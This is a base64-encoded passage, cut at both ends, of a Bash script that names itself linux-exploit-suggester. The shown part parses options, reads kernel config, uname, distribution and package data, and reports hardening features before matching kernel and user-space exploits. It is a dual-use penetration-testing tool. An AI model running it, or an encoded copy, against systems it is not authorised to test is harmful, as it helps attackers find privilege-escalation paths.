XNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJ0cnVlIiBdICYmIHJldHVybiAwCgogICAgICAgIGNtZD0iJHtJTjo0fSIKICAgICAgICBpZiBldmFsICIke2NtZH0iOyB0aGVuCiAgICAgICAgICAgIHJldHVybiAwCiAgICAgICAgZmkKICAgIGZpCgogICAgcmV0dXJuIDEKfQoKZ2V0S2VybmVsQ29uZmlnKCkgewoKICAgIGlmIFsgLWYgL3Byb2MvY29uZmlnLmd6IF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iemNhdCAvcHJvYy9jb25maWcuZ3oiCiAgICBlbGlmIFsgLWYgL2Jvb3QvY29uZmlnLWB1bmFtZSAtcmAgXSA7IHRoZW4KICAgICAgICBLQ09ORklHPSJjYXQgL2Jvb3QvY29uZmlnLWB1bmFtZSAtcmAiCiAgICBlbGlmIFsgLWYgIiR7S0JVSUxEX09VVFBVVDotL3Vzci9zcmMvbGludXh9Ii8uY29uZmlnIF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iY2F0ICR7S0JVSUxEX09VVFBVVDotL3Vzci9zcmMvbGludXh9Ly5jb25maWciCiAgICBlbHNlCiAgICAgICAgS0NPTkZJRz0iIgogICAgZmkKfQoKY2hlY2tzZWNNb2RlKCkgewoKICAgIE1PREU9MAoKICAgICMgc3RhcnQgYW5hbHlzaXMKZm9yIEZFQVRVUkUgaW4gIiR7RkVBVFVSRVNbQF19IjsgZG8KCiAgICAjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRGRUFUVVJFIgoKCSMgbW9kZXM6IGtlcm5lbC1mZWF0dXJlICgxKSB8IGh3LWZlYXR1cmUgKDIpIHwgM3JkcGFydHktZmVhdHVyZSAoMykgfCBhdHRhY2stc3VyZmFjZSAoNCkKICAgIE5BTUU9IiR7YXJyWzBdfSIKICAgIFBSRV9OQU1FPSIke05BTUU6MDo4fSIKICAgIE5BTUU9IiR7TkFNRTo5fSIKICAgIGlmIFsgIiR7UFJFX05BTUV9IiA9ICJzZWN0aW9uOiIgXTsgdGhlbgoJCSMgYWR2YW5jZSB0byBuZXh0IE1PREUKCQlNT0RFPSQoKCRNT0RFICsgMSkpCgogICAgICAgIGVjaG8KICAgICAgICBlY2hvIC1lICIke2JsZHdodH0ke05BTUV9JHt0eHRyc3R9IgogICAgICAgIGVjaG8KICAgICAgICBjb250aW51ZQogICAgZmkKCiAgICBBVkFJTEFCTEU9IiR7YXJyWzFdfSIgJiYgQVZBSUxBQkxFPSIke0FWQUlMQUJMRToxMX0iCiAgICBFTkFCTEU9JChlY2hvICIkRkVBVFVSRSIgfCBncmVwICJlbmFibGVkOiAiIHwgYXdrIC1GJ2VkOiAnICd7cHJpbnQgJDJ9JykKICAgIGFuYWx5c2lzX3VybD0kKGVjaG8gIiRGRUFUVVJFIiB8IGdyZXAgImFuYWx5c2lzLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCgogICAgIyBzcGxpdCBsaW5lIHdpdGggYXZhaWxhYmlsaXR5IHJlcXVpcmVtZW50cyAmIGxvb3AgdGhydSBhbGwgYXZhaWxhYmlsaXR5IHJlcXMgb25lIGJ5IG9uZSAmIGNoZWNrIHdoZXRoZXIgaXQgaXMgbWV0CiAgICBJRlM9JywnIHJlYWQgLXIgLWEgYXJyYXkgPDw8ICIkQVZBSUxBQkxFIgogICAgQVZBSUxBQkxFX1JFUVNfTlVNPSR7I2FycmF5W0BdfQogICAgQVZBSUxBQkxFX1BBU1NFRF9SRVE9MAoJQ09ORklHPSIiCiAgICBmb3IgUkVRIGluICIke2FycmF5W0BdfSI7IGRvCgoJCSMgZmluZCBDT05GSUdfIG5hbWUgKGlmIHByZXNlbnQpIGZvciBjdXJyZW50IGZlYXR1cmUgKG9ubHkgZm9yIGRpc3BsYXkgcHVycG9zZXMpCgkJaWYgWyAteiAiJENPTkZJRyIgXTsgdGhlbgoJCQljb25maWc9JChlY2hvICIkUkVRIiB8IGdyZXAgIkNPTkZJR18iKQoJCQlbIC1uICIkY29uZmlnIiBdICYmIENPTkZJRz0iKCQoZWNobyAkUkVRIHwgY3V0IC1kJz0nIC1mMSkpIgoJCWZpCgogICAgICAgIGlmIChjaGVja1JlcXVpcmVtZW50ICIkUkVRIik7IHRoZW4KICAgICAgICAgICAgQVZBSUxBQkxFX1BBU1NFRF9SRVE9JCgoJEFWQUlMQUJMRV9QQVNTRURfUkVRICsgMSkpCiAgICAgICAgZWxzZQogICAgICAgICAgICBicmVhawogICAgICAgIGZpCiAgICBkb25lCgogICAgIyBzcGxpdCBsaW5lIHdpdGggZW5hYmxlbWVudCByZXF1aXJlbWVudHMgJiBsb29wIHRocnUgYWxsIGVuYWJsZW1lbnQgcmVxcyBvbmUgYnkgb25lICYgY2hlY2sgd2hldGhlciBpdCBpcyBtZXQKICAgIEVOQUJMRV9QQVNTRURfUkVRPTAKICAgIEVOQUJMRV9SRVFTX05VTT0wCiAgICBub1N5c2N0bD0wCiAgICBpZiBbIC1uICIkRU5BQkxFIiBdOyB0aGVuCiAgICAgICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJEVOQUJMRSIKICAgICAgICBFTkFCTEVfUkVRU19OVU09JHsjYXJyYXlbQF19CiAgICAgICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwogICAgICAgICAgICBjbWRTdGRvdXQ9JChjaGVja1JlcXVpcmVtZW50ICIkUkVRIikKICAgICAgICAgICAgcmV0VmFsPSQ/CiAgICAgICAgICAgIGlmIFsgJHJldFZhbCAtZXEgMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBFTkFCTEVfUEFTU0VEX1JFUT0kKCgkRU5BQkxFX1BBU1NFRF9SRVEgKyAxKSkKICAgICAgICAgICAgZWxpZiBbICRyZXRWYWwgLWVxIDIgXTsgdGhlbgogICAgICAgICAgICAjIHNwZWNpYWwgY2FzZTogc3lzY3RsIGVudHJ5IGlzIG5vdCBwcmVzZW50IG9uIGdpdmVuIHN5c3RlbTogc2lnbmFsIGl0IGFzOiBOL0EKICAgICAgICAgICAgICAgIG5vU3lzY3RsPTEKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZG9uZQogICAgZmkKCiAgICBmZWF0dXJlPSQoZWNobyAiJEZFQVRVUkUiIHwgZ3JlcCAiZmVhdHVyZTogIiB8IGN1dCAtZCcgJyAtZiAyLSkKCglpZiBbIC1uICIkY21kU3Rkb3V0IiBdOyB0aGVuCiAgICAgICAgaWYgWyAiJGNtZFN0ZG91dCIgLWVxIDAgXTsgdGhlbgogICAgICAgICAgICBzdGF0ZT0iWyAke3R4dHJlZH1TZXQgdG8gJGNtZFN0ZG91dCR7dHh0cnN0fSBdIgoJCQljbWRTdGRvdXQ9IiIKICAgICAgICBlbHNlCiAgICAgICAgICAgIHN0YXRlPSJbICR7dHh0Z3JufVNldCB0byAkY21kU3Rkb3V0JHt0eHRyc3R9IF0iCgkJCWNtZFN0ZG91dD0iIgogICAgICAgIGZpCiAgICBlbHNlCgoJdW5rbm93bj0iWyAke3R4dGdyYXl9VW5rbm93biR7dHh0cnN0fSAgXSIKCgkjIGZvciAzcmQgcGFydHkgKDMpIG1vZGUgZGlzcGxheSAiTi9BIiBvciAiRW5hYmxlZCIKCWlmIFsgJE1PREUgLWVxIDMgXTsgdGhlbgogICAgICAgIGVuYWJsZWQ9IlsgJHt0eHRncm59RW5hYmxlZCR7dHh0cnN0fSAgIF0iCiAgICAgICAgZGlzYWJsZWQ9IlsgICAke3R4dGdyYXl9Ti9BJHt0eHRyc3R9ICAgIF0iCgogICAgIyBmb3IgYXR0YWNrLXN1cmZhY2UgKDQpIG1vZGUgZGlzcGxheSAiTG9ja2VkIiBvciAiRXhwb3NlZCIKICAgIGVsaWYgWyAkTU9ERSAtZXEgNCBdOyB0aGVuCiAgICAgICBlbmFibGVkPSJbICR7dHh0cmVkfUV4cG9zZWQke3R4dHJzdH0gIF0iCiAgICAgICBkaXNhYmxlZD0iWyAke3R4dGdybn1Mb2NrZWQke3R4dHJzdH0gICBdIgoKCSNvdGhlciBtb2RlcyIgIkRpc2FibGVkIiAvICJFbmFibGVkIgoJZWxzZQoJCWVuYWJsZWQ9IlsgJHt0eHRncm59RW5hYmxlZCR7dHh0cnN0fSAgXSIKCQlkaXNhYmxlZD0iWyAke3R4dHJlZH1EaXNhYmxlZCR7dHh0cnN0fSBdIgoJZmkKCglpZiBbIC16ICIkS0NPTkZJRyIgLWEgIiRFTkFCTEVfUkVRU19OVU0iID0gMCBdOyB0aGVuCgkgICAgc3RhdGU9JHVua25vd24KICAgIGVsaWYgWyAkQVZBSUxBQkxFX1BBU1NFRF9SRVEgLWVxICRBVkFJTEFCTEVfUkVRU19OVU0gLWEgJEVOQUJMRV9QQVNTRURfUkVRIC1lcSAkRU5BQkxFX1JFUVNfTlVNIF07IHRoZW4KICAgICAgICBzdGF0ZT0kZW5hYmxlZAogICAgZWxzZQogICAgICAgIHN0YXRlPSRkaXNhYmxlZAoJZmkKCiAgICBmaQoKICAgIGVjaG8gLWUgIiAkc3RhdGUgJGZlYXR1cmUgJHt3aHR9JHtDT05GSUd9JHt0eHRyc3R9IgogICAgWyAtbiAiJGFuYWx5c2lzX3VybCIgXSAmJiBlY2hvIC1lICIgICAgICAgICAgICAgICRhbmFseXNpc191cmwiCiAgICBlY2hvCgpkb25lCgp9CgpkaXNwbGF5RXhwb3N1cmUoKSB7CiAgICBSQU5LPSQxCgogICAgaWYgWyAiJFJBTksiIC1nZSA2IF07IHRoZW4KICAgICAgICBlY2hvICJoaWdobHkgcHJvYmFibGUiCiAgICBlbGlmIFsgIiRSQU5LIiAtZ2UgMyBdOyB0aGVuCiAgICAgICAgZWNobyAicHJvYmFibGUiCiAgICBlbHNlCiAgICAgICAgZWNobyAibGVzcyBwcm9iYWJsZSIKICAgIGZpCn0KCiMgcGFyc2UgY29tbWFuZCBsaW5lIHBhcmFtZXRlcnMKQVJHUz0kKGdldG9wdCAtLW9wdGlvbnMgJFNIT1JUT1BUUyAgLS1sb25nb3B0aW9ucyAkTE9OR09QVFMgLS0gIiRAIikKWyAkPyAhPSAwIF0gJiYgZXhpdFdpdGhFcnJNc2cgIkFib3J0aW5nLiIKCmV2YWwgc2V0IC0tICIkQVJHUyIKCndoaWxlIHRydWU7IGRvCiAgICBjYXNlICIkMSIgaW4KICAgICAgICAtdXwtLXVuYW1lKQogICAgICAgICAgICBzaGlmdAogICAgICAgICAgICBVTkFNRV9BPSIkMSIKICAgICAgICAgICAgb3B0X3VuYW1lX3N0cmluZz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLVZ8LS12ZXJzaW9uKQogICAgICAgICAgICB2ZXJzaW9uCiAgICAgICAgICAgIGV4aXQgMAogICAgICAgICAgICA7OwogICAgICAgIC1ofC0taGVscCkKICAgICAgICAgICAgdXNhZ2UgCiAgICAgICAgICAgIGV4aXQgMAogICAgICAgICAgICA7OwogICAgICAgIC1mfC0tZnVsbCkKICAgICAgICAgICAgb3B0X2Z1bGw9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1nfC0tc2hvcnQpCiAgICAgICAgICAgIG9wdF9zdW1tYXJ5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtYnwtLWZldGNoLWJpbmFyaWVzKQogICAgICAgICAgICBvcHRfZmV0Y2hfYmlucz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLXN8LS1mZXRjaC1zb3VyY2VzKQogICAgICAgICAgICBvcHRfZmV0Y2hfc3Jjcz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWt8LS1rZXJuZWwpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIEtFUk5FTD0iJDEiCiAgICAgICAgICAgIG9wdF9rZXJuZWxfdmVyc2lvbj10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWR8LS1zaG93LWRvcykKICAgICAgICAgICAgb3B0X3Nob3dfZG9zPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtcHwtLXBrZ2xpc3QtZmlsZSkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgUEtHTElTVF9GSUxFPSIkMSIKICAgICAgICAgICAgb3B0X3BrZ2xpc3RfZmlsZT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS1jdmVsaXN0LWZpbGUpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIENWRUxJU1RfRklMRT0iJDEiCiAgICAgICAgICAgIG9wdF9jdmVsaXN0X2ZpbGU9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tY2hlY2tzZWMpCiAgICAgICAgICAgIG9wdF9jaGVja3NlY19tb2RlPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLWtlcm5lbHNwYWNlLW9ubHkpCiAgICAgICAgICAgIG9wdF9rZXJuZWxfb25seT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS11c2Vyc3BhY2Utb25seSkKICAgICAgICAgICAgb3B0X3VzZXJzcGFjZV9vbmx5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXNraXAtcGtnLXZlcnNpb25zKQogICAgICAgICAgICBvcHRfc2tpcF9wa2dfdmVyc2lvbnM9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgICopCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIGlmIFsgIiQjIiAhPSAiMCIgXTsgdGhlbgogICAgICAgICAgICAgICAgZXhpdFdpdGhFcnJNc2cgIlVua25vd24gb3B0aW9uICckMScuIEFib3J0aW5nLiIKICAgICAgICAgICAgZmkKICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgOzsKICAgIGVzYWMKICAgIHNoaWZ0CmRvbmUKCiMgY2hlY2sgQmFzaCB2ZXJzaW9uIChhc3NvY2lhdGl2ZSBhcnJheXMgbmVlZCBCYXNoIGluIHZlcnNpb24gNC4wKykKaWYgKChCQVNIX1ZFUlNJTkZPWzBdIDwgNCkpOyB0aGVuCiAgICBleGl0V2l0aEVyck1zZyAiU2NyaXB0IG5lZWRzIEJhc2ggaW4gdmVyc2lvbiA0LjAgb3IgbmV3ZXIuIEFib3J0aW5nLiIKZmkKCiMgZXhpdCBpZiBib3RoIC0ta2VybmVsIGFuZCAtLXVuYW1lIGFyZSBzZXQKWyAiJG9wdF9rZXJuZWxfdmVyc2lvbiIgPSAidHJ1ZSIgXSAmJiBbICRvcHRfdW5hbWVfc3RyaW5nID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC1rfC0ta2VybmVsIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKCiMgZXhpdCBpZiBib3RoIC0tZnVsbCBhbmQgLS1zaG9ydCBhcmUgc2V0ClsgIiRvcHRfZnVsbCIgPSAidHJ1ZSIgXSAmJiBbICRvcHRfc3VtbWFyeSA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtZnwtLWZ1bGwgYW5kIC1nfC0tc2hvcnQgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgoKIyAtLWN2ZWxpc3QtZmlsZSBtb2RlIGlzIHN0YW5kYWxvbmUgbW9kZSBhbmQgaXMgbm90IGFwcGxpY2FibGUgd2hlbiBvbmUgb2YgLWsgfCAtdSB8IC1wIHwgLS1jaGVja3NlYyBzd2l0Y2hlcyBhcmUgc2V0CmlmIFsgIiRvcHRfY3ZlbGlzdF9maWxlIiA9ICJ0cnVlIiBdOyB0aGVuCiAgICBbICEgLWUgIiRDVkVMSVNUX0ZJTEUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlByb3ZpZGVkIENWRSBsaXN0IGZpbGUgZG9lcyBub3QgZXhpc3RzLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAta3wtLWtlcm5lbCBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC0tY3ZlbGlzdC1maWxlIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKICAgIFsgIiRvcHRfcGtnbGlzdF9maWxlIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtcHwtLXBrZ2xpc3QtZmlsZSBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgpmaQoKIyAtLWNoZWNrc2VjIG1vZGUgaXMgc3RhbmRhbG9uZSBtb2RlIGFuZCBpcyBub3QgYXBwbGljYWJsZSB3aGVuIG9uZSBvZiAtayB8IC11IHwgLXAgfCAtLWN2ZWxpc3QtZmlsZSBzd2l0Y2hlcyBhcmUgc2V0CmlmIFsgIiRvcHRfY2hlY2tzZWNfbW9kZSIgPSAidHJ1ZSIgXTsgdGhlbgogICAgWyAiJG9wdF9rZXJuZWxfdmVyc2lvbiIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLWt8LS1rZXJuZWwgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1wfC0tcGtnbGlzdC1maWxlIGFuZCAtLWNoZWNrc2VjIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKZmkKCiMgZXh0cmFjdCBrZXJuZWwgdmVyc2lvbiBhbmQgb3RoZXIgT1MgaW5mbyBsaWtlIGRpc3RybyBuYW1lLCBkaXN0cm8gdmVyc2lvbiwgZXRjLiAzIHBvc3NpYmlsaXRpZXMgaGVyZToKIyBjYXNlIDE6IC0ta2VybmVsIHNldAppZiBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9PSAidHJ1ZSIgXTsgdGhlbgogICAgIyBUT0RPOiBhZGQga2VybmVsIHZlcnNpb24gbnVtYmVyIHZhbGlkYXRpb24KICAgIFsgLXogIiRLRVJORUwiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlVucmVjb2duaXplZCBrZXJuZWwgdmVyc2lvbiBnaXZlbi4gQWJvcnRpbmcuIgogICAgQVJDSD0iIgogICAgT1M9IiIKCiAgICAjIGRvIG5vdCBwZXJmb3JtIGFkZGl0aW9uYWwgY2hlY2tzIG9uIGN1cnJlbnQgbWFjaGluZQogICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQoKICAgICMgZG8gbm90IGNvbnNpZGVyIGN1cnJlbnQgT1MKICAgIGdldFBrZ0xpc3QgIiIgIiRQS0dMSVNUX0ZJTEUiCgojIGNhc2UgMjogLS11bmFtZSBzZXQKZWxpZiBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gInRydWUiIF07IHRoZW4KICAgIFsgLXogIiRVTkFNRV9BIiBdICYmIGV4aXRXaXRoRXJyTXNnICJ1bmFtZSBzdHJpbmcgZW1wdHkuIEFib3J0aW5nLiIKICAgIHBhcnNlVW5hbWUgIiRVTkFNRV9BIgoKICAgICMgZG8gbm90IHBlcmZvcm0gYWRkaXRpb25hbCBjaGVja3Mgb24gY3VycmVudCBtYWNoaW5lCiAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCgogICAgIyBkbyBub3QgY29uc2lkZXIgY3VycmVudCBPUwogICAgZ2V0UGtnTGlzdCAiIiAiJFBLR0xJU1RfRklMRSIKCiMgY2FzZSAzOiAtLWN2ZWxpc3QtZmlsZSBtb2RlCmVsaWYgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF07IHRoZW4KCiAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgZ2V0S2VybmVsQ29uZmlnCgojIGNhc2UgNDogLS1jaGVja3NlYyBtb2RlCmVsaWYgWyAiJG9wdF9jaGVja3NlY19tb2RlIiA9ICJ0cnVlIiBdOyB0aGVuCgogICAgIyB0aGlzIHN3aXRjaCBpcyBub3QgYXBwbGljYWJsZSBpbiB0aGlzIG1vZGUKICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPWZhbHNlCgogICAgIyBnZXQga2VybmVsIGNvbmZpZ3VyYXRpb24gaW4gdGhpcyBtb2RlCiAgICBnZXRLZXJuZWxDb25maWcKICAgIFsgLXogIiRLQ09ORklHIiBdICYmIGVjaG8gIldBUk5JTkcuIEtlcm5lbCBDb25maWcgbm90IGZvdW5kIG9uIHRoZSBzeXN0ZW0gcmVzdWx0cyB3b24ndCBiZSBjb21wbGV0ZS4iCgogICAgIyBsYXVuY2ggY2hlY2tzZWMgbW9kZQogICAgY2hlY2tzZWNNb2RlCgogICAgZXhpdCAwCgojIGNhc2UgNTogbm8gLS11bmFtZSB8IC0ta2VybmVsIHwgLS1jdmVsaXN0LWZpbGUgfCAtLWNoZWNrc2VjIHNldAplbHNlCgogICAgIyAtLXBrZ2xpc3QtZmlsZSBOT1QgcHJvdmlkZWQ6IHRha2UgYWxsIGluZm8gZnJvbSBjdXJyZW50IG1hY2hpbmUKICAgICMgY2FzZSBmb3IgdmFuaWxsYSBleGVjdXRpb246IC4vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2gKICAgIGlmIFsgIiRvcHRfcGtnbGlzdF9maWxlIiA9PSAiZmFsc2UiIF07IHRoZW4KICAgICAgICBVTkFNRV9BPSQodW5hbWUgLWEpCiAgICAgICAgWyAteiAiJFVOQU1FX0EiIF0gJiYgZXhpdFdpdGhFcnJNc2cgInVuYW1lIHN0cmluZyBlbXB0eS4gQWJvcnRpbmcuIgogICAgICAgIHBhcnNlVW5hbWUgIiRVTkFNRV9BIgoKICAgICAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gImZhbHNlIiBdICYmIGdldEtlcm5lbENvbmZpZwoKICAgICAgICAjIGV4dHJhY3QgZGlzdHJpYnV0aW9uIHZlcnNpb24gZnJvbSAvZXRjL29zLXJlbGVhc2UgT1IgL2V0Yy9sc2ItcmVsZWFzZQogICAgICAgIFsgLW4gIiRPUyIgLWEgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgRElTVFJPPSQoZ3JlcCAtcyAtRSAnXkRJU1RSSUJfUkVMRUFTRT18XlZFUlNJT05fSUQ9JyAvZXRjLyotcmVsZWFzZSB8IGN1dCAtZCc9JyAtZjIgfCBoZWFkIC0xIHwgdHIgLWQgJyInKQoKICAgICAgICAjIGV4dHJhY3QgcGFja2FnZSBsaXN0aW5nIGZyb20gY3VycmVudCBPUwogICAgICAgIGdldFBrZ0xpc3QgIiRPUyIgIiIKCiAgICAjIC0tcGtnbGlzdC1maWxlIHByb3ZpZGVkOiBvbmx5IGNvbnNpZGVyIHVzZXJzcGFjZSBleHBsb2l0cyBhZ2FpbnN0IHByb3ZpZGVkIHBhY2thZ2UgbGlzdGluZwogICAgZWxzZQogICAgICAgIEtFUk5FTD0iIgogICAgICAgICNUT0RPOiBleHRyYWN0IG1hY2hpbmUgYXJjaCBmcm9tIHBhY2thZ2UgbGlzdGluZwogICAgICAgIEFSQ0g9IiIKICAgICAgICB1bnNldCBFWFBMT0lUUwogICAgICAgIGRlY2xhcmUgLUEgRVhQTE9JVFMKICAgICAgICBnZXRQa2dMaXN0ICIiICIkUEtHTElTVF9GSUxFIgoKICAgICAgICAjIGFkZGl0aW9uYWwgY2hlY2tzIGFyZSBub3QgYXBwbGljYWJsZSBmb3IgdGhpcyBtb2RlCiAgICAgICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQogICAgZmkKZmkKCmVjaG8KZWNobyAtZSAiJHtibGR3aHR9QXZhaWxhYmxlIGluZm9ybWF0aW9uOiR7dHh0cnN0fSIKZWNobwpbIC1uICIkS0VSTkVMIiBdICYmIGVjaG8gLWUgIktlcm5lbCB2ZXJzaW9uOiAke3R4dGdybn0kS0VSTkVMJHt0eHRyc3R9IiB8fCBlY2hvIC1lICJLZXJuZWwgdmVyc2lvbjogJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IgplY2hvICJBcmNoaXRlY3R1cmU6ICQoWyAtbiAiJEFSQ0giIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JEFSQ0gke3R4dHJzdH0iIHx8IGVjaG8gLWUgIiR7dHh0cmVkfU4vQSR7dHh0cnN0fSIpIgplY2hvICJEaXN0cmlidXRpb246ICQoWyAtbiAiJE9TIiBdICYmIGVjaG8gLWUgIiR7dHh0Z3JufSRPUyR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCmVjaG8gLWUgIkRpc3RyaWJ1dGlvbiB2ZXJzaW9uOiAkKFsgLW4gIiRESVNUUk8iIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JERJU1RSTyR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCgplY2hvICJBZGRpdGlvbmFsIGNoZWNrcyAoQ09ORklHXyosIHN5c2N0bCBlbnRyaWVzLCBjdXN0b20gQmFzaCBjb21tYW5kcyk6ICQoWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9PSAiZmFsc2UiIF0gJiYgZWNobyAtZSAiJHt0eHRncm59cGVyZm9ybWVkJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKCmlmIFsgLW4gIiRQS0dMSVNUX0ZJTEUiIC1hIC1uICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dGdybn0kUEtHTElTVF9GSUxFJHt0eHRyc3R9IgplbGlmIFsgLW4gIiRQS0dMSVNUX0ZJTEUiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dHJlZH11bnJlY29nbml6ZWQgZmlsZSBwcm92aWRlZCR7dHh0cnN0fSIKZWxpZiBbIC1uICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dGdybn1mcm9tIGN1cnJlbnQgT1Mke3R4dHJzdH0iCmZpCgplY2hvIC1lICJQYWNrYWdlIGxpc3Rpbmc6ICQoWyAtbiAiJHBrZ0xpc3RGaWxlIiBdICYmIGVjaG8gLWUgIiRwa2dMaXN0RmlsZSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCgojIGhhbmRsZSAtLWtlcm5lbHNwYWN5LW9ubHkgJiAtLXVzZXJzcGFjZS1vbmx5IGZpbHRlciBvcHRpb25zCmlmIFsgIiRvcHRfa2VybmVsX29ubHkiID0gInRydWUiIC1vIC16ICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHVuc2V0IEVYUExPSVRTX1VTRVJTUEFDRQogICAgZGVjbGFyZSAtQSBFWFBMT0lUU19VU0VSU1BBQ0UKZmkKCmlmIFsgIiRvcHRfdXNlcnNwYWNlX29ubHkiID0gInRydWUiIF07IHRoZW4KICAgIHVuc2V0IEVYUExPSVRTCiAgICBkZWNsYXJlIC1BIEVYUExPSVRTCmZpCgplY2hvCmVjaG8gLWUgIiR7Ymxkd2h0fVNlYXJjaGluZyBhbW9uZzoke3R4dHJzdH0iCmVjaG8KZWNobyAiJHsjRVhQTE9JVFNbQF19IGtlcm5lbCBzcGFjZSBleHBsb2l0cyIKZWNobyAiJHsjRVhQTE9JVFNfVVNFUlNQQUNFW0BdfSB1c2VyIHNwYWNlIGV4cGxvaXRzIgplY2hvCgplY2